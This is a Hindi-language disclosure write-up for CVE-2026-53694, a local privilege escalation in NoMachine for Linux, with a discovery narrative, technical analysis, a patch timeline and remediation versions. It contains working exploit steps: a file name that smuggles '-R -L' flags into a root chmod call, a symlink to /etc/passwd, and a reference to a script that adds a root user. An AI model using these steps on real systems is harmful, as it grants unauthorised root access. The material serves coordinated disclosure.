CVE-2026-53694: NoMachine स्थानीय विशेषाधिकार वृद्धि तर्क इंजेक्शन के माध्यम से

अवलोकन

यह रिपॉजिटरी CVE-2026-53694 के लिए लेख और प्रूफ ऑफ कॉन्सेप्ट (PoC) प्रस्तुत करती है, जो Linux के लिए NoMachine में एक स्थानीय विशेषाधिकार वृद्धि (LPE) भेद्यता है।

nxchmod.sh स्क्रिप्ट में तर्क सीमांककों के अनुचित न्यूट्रीलाइजेशन के कारण, एक स्थानीय अनप्रिविलेज्ड उपयोगकर्ता root के रूप में निष्पादित सिस्टम कमांड में तर्क इंजेक्ट कर सकता है। इस तर्क इंजेक्शन को एक सिम्बोलिक लिंक के साथ जोड़कर, एक हमलावर महत्वपूर्ण सिस्टम फ़ाइलों (जैसे /etc/passwd) को ओवरराइट कर सकता है और अपने विशेषाधिकारों को root तक बढ़ा सकता है।

यह भेद्यता विक्रेता द्वारा पूरी तरह से पैच कर दी गई है।

खोज प्रक्रिया

इस भेद्यता को खोजना परीक्षण, त्रुटि और एक देर रात की प्राप्ति की प्रक्रिया थी। यहाँ बताया गया है कि यह खोज कैसे सामने आई:

1. लक्ष्य का अवलोकन: मैंने देखा कि /usr/NX/scripts/restricted/nxchmod.sh स्क्रिप्ट रूट उपयोगकर्ता द्वारा विशिष्ट निर्देशिकाओं में अनुमतियों को प्रबंधित करने के लिए समय-समय पर निष्पादित की जा रही थी।
2. प्रारंभिक विचार (मृत अंत): मैंने देखा कि स्क्रिप्ट फ़ाइलों पर chmod a+rw लागू कर रही थी। मैंने सोचा: अगर मैं गंतव्य को नियंत्रित करता हूं, तो क्या मैं /etc/passwd को लिखने योग्य बनाने के लिए सिमलिंक का उपयोग कर सकता हूं? मैंने एक मानक सिमलिंक का परीक्षण किया (ln -s /etc/passwd /tmp/asdf), लेकिन यह विफल रहा। /tmp जैसी निर्देशिकाओं पर Linux स्टिकी बिट रूट उपयोगकर्ता को किसी अन्य उपयोगकर्ता द्वारा बनाए गए सिमलिंक का आँख बंद करके अनुसरण करने से रोकता है।
3. सफलता: बाद में स्क्रिप्ट निष्पादन की समीक्षा करते समय, मैंने देखा कि कमांड कैसे बनाया जा रहा था: ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}। स्क्रिप्ट शाब्दिक फ़ाइल नाम ले रही थी और इसे सीधे chmod को पास कर रही थी।
4. फ़ाइलनाम के माध्यम से कमांड इंजेक्शन: मुझे एहसास हुआ कि मैं अपने नाम में स्थान और फ्लैग वाली फ़ाइल बना सकता हूं। मैंने X1234 -R -L नाम की एक फ़ाइल बनाई। जब स्क्रिप्ट चली, तो chmod कमांड ने इसे एकल फ़ाइल पथ के बजाय तर्कों में विस्तारित किया।
5. स्टिकी बिट को बायपास करना: फ़ाइल नाम के माध्यम से chmod कमांड में -L (सिमलिंक का अनुसरण करें) और -R (पुनरावर्ती) फ्लैग इंजेक्ट करके, मैंने chmod बाइनरी को स्वयं निर्देशिका में बनाए गए सिमलिंक को हल करने और अनुसरण करने के लिए मजबूर किया, जिससे स्टिकी बिट सुरक्षा पूरी तरह से बायपास हो गई।
6. LPE प्राप्त करना: एक बार /etc/passwd लिखने योग्य (a+rw) बना दिया गया, तो मैं फ़ाइल में एक नया रूट उपयोगकर्ता जोड़ सकता था और उसमें su कर सकता था।

तकनीकी विश्लेषण

यह भेद्यता इस बात से उपजी है कि NoMachine X11/Wayland सॉकेट के लिए अनुमतियों को कैसे संभालता है। स्क्रिप्ट nxchmod.sh रूट के रूप में चल रहे nxserver.bin डेमॉन द्वारा स्पॉन की जाती है।

कमजोर निष्पादन इस प्रकार दिखता है:

# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}

यदि कोई हमलावर एक निर्देशिका संरचना और X1234 -R -L नाम की फ़ाइल बनाता है, तो रूट द्वारा निष्पादित परिणामी कमांड बन जाती है: /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L

जब /etc/passwd की ओर इशारा करता हुआ एक सिमलिंक X1234 निर्देशिका के अंदर रखा जाता है, तो इंजेक्ट किए गए -R और -L तर्क chmod को पुनरावर्ती रूप से सिमलिंक का अनुसरण करने और लक्ष्य फ़ाइल को वैश्विक पढ़ने/लिखने की अनुमति प्रदान करने के लिए मजबूर करते हैं।

शोषण के लिए आवश्यकताएँ

इस शोषण के काम करने के लिए, लक्ष्य प्रणाली को निम्नलिखित शर्तों को पूरा करना होगा:

• OS Wayland (X11 नहीं) का उपयोग कर रहा होना चाहिए।
• Xwayland सक्रिय होना चाहिए।
• एक ग्राफिकल सत्र चल रहा होना चाहिए (लॉगिन स्क्रीन पर्याप्त है)।

प्रूफ ऑफ कॉन्सेप्ट

आप इस भेद्यता को या तो शेल कमांड का उपयोग करके मैन्युअल रूप से या प्रदान की गई Python स्क्रिप्ट का उपयोग करके स्वचालित रूप से पुन: उत्पन्न कर सकते हैं।

विधि 1: मैन्युअल निष्पादन (शेल)

दुर्भावनापूर्ण निर्देशिका संरचना बनाने के लिए /tmp/.X11-unix/ पर जाएं और निम्नलिखित कमांड निष्पादित करें।

cd /tmp/.X11-unix/

# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn

# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.

एक बार जब आप भेद्यता को सत्यापित कर लें और विशेषाधिकार बढ़ा लें, तो सिस्टम स्थिरता को बहाल करने और आर्टिफैक्ट्स को हटाने के लिए निम्नलिखित सफाई कमांड चलाएँ:

# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd

विधि 2: स्वचालित शोषण

एक पूर्ण स्वचालित शोषण poc.py में प्रदान किया गया है। यह स्क्रिप्ट Wayland आवश्यकताओं को सत्यापित करती है, सिमलिंक सेट करती है, nxchmod.sh निष्पादन चक्र की प्रतीक्षा करती है और /etc/passwd में एक नया रूट उपयोगकर्ता (gg) इंजेक्ट करती है।

शोषण चलाने के लिए:

python3 poc.py

उपचार

यह भेद्यता NoMachine द्वारा संबोधित की गई है। उपयोगकर्ताओं को निम्नलिखित संस्करणों या बाद के संस्करणों में अपडेट करना चाहिए:

• NoMachine 9.5.7
• NoMachine 8.23.2

समयरेखा

• 2026-04-20: भेद्यता विक्रेता को रिपोर्ट की गई।
• 2026-04-23: विक्रेता ने भेद्यता की पुष्टि की और समन्वित प्रकटीकरण पर सहमति व्यक्त की।
• 2026-05-07: विक्रेता ने पैच किए गए संस्करण (9.5.7 और 8.23.2) जारी किए और ट्रबल रिपोर्ट TR04X11802 प्रकाशित की।
• 2026-06-10: CVE-2026-53694 NVD पर प्रकाशित हुआ। (आधिकारिक MITRE रिकॉर्ड वर्तमान में पूर्ण विश्लेषण और क्रेडिट अपडेट की प्रतीक्षा कर रहा है (अंतिम जांच 2026-07-01))

संदर्भ

• NoMachine Trouble Report TR04X11802
• NoMachine Software Update SU05X00274
• NoMachine Software Update SU05X00275
• NVD - CVE-2026-53694